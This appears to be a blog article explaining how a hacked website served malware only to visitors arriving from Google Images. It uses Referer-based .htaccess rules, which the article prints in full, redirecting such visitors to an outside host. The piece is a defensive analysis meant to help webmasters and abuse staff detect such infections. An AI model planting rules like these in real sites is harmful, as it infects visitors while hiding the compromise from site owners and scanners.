Image Searchers Snared By Malware
A friend of mine recently e-mailed a discussion list with an interesting query.Stonewall Ballardhad searched on “tradingbloxlogo” on Google Images, which led tothe results onthis page.Clicking on the first result, an image from the tradingblox.com site, took himtothis page,with the Google information header at the top, and loading thehttp://www.tradingblox.com/tradingblox/courses.htmpage in a frame in the bottom half of the browser window. When that page was loadedin that bottom frame, Internet Explorer and Firefox would both flash warnings about the page beinginfected with malware. But if you loaded thehttp://www.tradingblox.com/tradingblox/courses.htmpage in a normal Web browser window by itself, the browser would not display any warning,andchecking the site usingGoogle’s malware query form returned a result saying the site was not suspicious.Why the differing results?
It turned out that the tradingblox.com had been hacked, and pages had been installed onto the serverthat would serve malware in an unusual way: if the page was being viewed in a frame loaded from GoogleImages, or as as result of a click through from Google Images, then the page would serve content thatattempted to infect the user’s computer with malware. on the other hand, if the page was viewednormally (as a result of typing the page into your browser),the malware-loading code would not be served.That means if you were to telnet to port 80on the www.tradingblox.com server, and request a page as follows:
GET /tradingblox/courses.htm HTTP/1.1Host: www.tradingblox.com
then the normal page would be returned. But if you entered these commands:
GET /tradingblox/courses.htm HTTP/1.1Host: www.tradingblox.comReferer: http://images.google.com/
then you would get the malware-infected page. (The webmaster has since fixed the problem,so that the latter request will no longer get the malware code.) The webserver would only servethe infected content if “images.google.com” was sent specifically as the referrer; “www.google.com”by itself would not trigger the result.
(For the uninitiated, when you click a link from one page to another, for example if you were readingan article on CNN.com which had a link to http://www.google.com/support/and you clicked on that link, then when your browser requested the file “/support/” from the www.google.comserver, it would send the request as follows:
GET /support/ HTTP/1.1Host: www.google.comReferer: http://www.cnn.com/article.url.goes.here/
So the webmasters of www.google.com can see what links people are clicking from other websites to reachthe www.google.com site. Many sites use this to track which links from other pages, including advertisementsthat they’ve bought on other sites, are sending them the most traffic.)
Denis Sinegubko, owner of thewebsite malware-infection checking siteUnmaskParasites.com, says that he had seen pages before which would serve infectedcontent if www.google.com itself were listed in the Referer: field.however,this was the first instance he’d seen where the content was only served if images.google.comwas specifically listed as the Referer. since no malware distributor would manually break intojust one website to compromise it in this exact manner, it’s extremely likely that there are manymore sites that are infected in the same way. Stonewall Ballard noted thatthe Google Safe Browsing lookupfor the hosting companywhere tradingblox.com is hosted, showed a high number of other sites on the same network that hadbeen infected recently. (And those are only the infected sites that Google knows about — recallthat Google didn’t even know that tradingblox.com was infected.)
Obviously, from the malware author’s point of view, the point of servingmalware content only some of the time rather than all of the time, is to make it harder for webmastersto pinpoint the problem. Someone gets the malware warning after following a link or loading a pagevia Google Images, and sends the webmaster an e-mail saying, “I got infected by your webpage, hereis the link.” The webmaster views the link and says, “I don’t know what you’re talking about,there’s no malware code on that page.” it also makes it harder for automated site-checking toolsto detect the infection. Google’s Safe Browsing lookup toolreported the site asuninfected, and Sinegubko’s site-checking tool on UnmaskParasites.com also reported no malware infectionson tradingblox.com, even while the site was still infected. (Sinegubko said he would possibly modifyhis site-checking script so that in addition to the other checks it performs, it will attemptto request a page sending “http://images.google.com/” in the “Referer:” field, to see if thatresults in different content being served. Google’s Safe Browsing spider should do the same.)
Sinegubko said he’s also seen instances where hacked sites would cover their tracks even further,by refusing to display infected content if the Referer: link from Google contained “inurl:domainname.com”or “site:domainname.com”. This is because webmasters would sometimes check if their site was servinginfected content in response to a click from Google, by doing a Google searchon their own domainname.com, and followingthe link back to their site. By not serving the infected content in that case, the malware infectionbecomes even harder to detect.
This also makes it harder to report the exploits to the hosting companies that host infected websites.in case the webmaster of the infected site doesn’t respond to complaints that their site is infected,sometimes you have to contact the hosting company and ask them to forcibly take the website offlineuntil the problem is fixed.And I have been hosted by several companies where the tech support and abuse departments were (just barely)competent enough that if I called them up and said, “Your customer is hosting a malware-infected webpage,go to this page and view the source code, and you can see the malicious code”, they would have knownwhat to do. But if I’d had to tell them to follow the steps above –”telnet to port 80″ on the infected website, and type afew lines to mimic the process of a browser sending HTTP request headers to the website — I probablywould have lost them at “telnet”. (Recall an experimentwherein Ie-mailed some hosting companiesfrom a Hotmail account, asking them to change the nameservers for a domain that I had hosted with them,and about half of the hosting companies agreed to switch the domain nameservers — essentially,transferring the entire website to an unknown third party — without ever authenticating that it wasreally me writing from that Hotmail account. Which means anybody could have taken over those websitessimply by sending an e-mail. Front-end tech support at cheap hosting companies is often not very smart.)
Fortunately, Tim Arnold, the webmaster of the tradingblox.com site, did respond to the original reportabout the malware-infected pages, and found that an intruder had hacked the site on November 30thand inserted these lines into an .htaccess file:
RewriteEngine OnRewriteOptions inheritRewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]RewriteRule .* http://search-box.in/in.cgi?4¶meter=u [R,L]<Files 403.shtml>order allow,denyallow from all</Files>
which resulted in the infected pages being served whenever a user loaded the site via Google Images.(So if you found this article because you think your own site might be infected by malware thatserves pages conditionally on the Referer: field, that’s the first place to look to fix the problem!)
It’s uncertain how Arnold’s site got infected in the first place, but Sinegubko had earliersaid that almost90% of breakins in 2009that occurred on Linux-hosted sites, were caused by malware installed surreptitiously on people’sWindows PCs and stealing the passwords that people used to administer their sites. or the sitecould have been compromised via a WordPress exploitsuch as thisone. As I always tell anyone who will listen,if you want to keep your Linux-hosted website from beingbroken into, one of the most frequently overlooked precautions that you need to take is to keepyour Windows PC free of spyware.
But the larger point is that as malware becomes more aggressive, it’s not just going to become harderto keep your PC and websites uninfected. It’s also going to become harder for site owners and forhosting company abuse departments to verify that a site has been hacked, as the hacks use more sophisticatedtechniques to prevent the infection from being discovered. Abuse report handlers willhave to be trained to understand what it means that a website is only showing infected contentas a result of a “Referer:” header, and ideally should know enough about networking and command-linetools, to be able to mimic the “telnet” instructions above. (Most expensive dedicated hosting companieslike RackSpace, do have technical staff who are at leastthat knowledgeable. But cheap shared hosting companies — the kind where you can get your domaintransferred to another company by sending an e-mail from an unauthenticated Hotmail account — will haveto train their abuse staff better.) Automated site-checking tools like Google’s Safe Browsing spiderand UnmaskParasites.com’s site checker will have to start taking these attacks into account when checkinga site for infection.
And as always,keeping your PC free of spyware, shouldn’t be viewed just as a convenience to yourself, butas an obligation to your neighbors as well.(A case of the positive/negative externalitiesproblem in economics.)You wouldn’t send your kid to school with the flu, sowhy did you get your Mom on the Internet without buying her some anti-virus software?
Image Searchers Snared By Malware
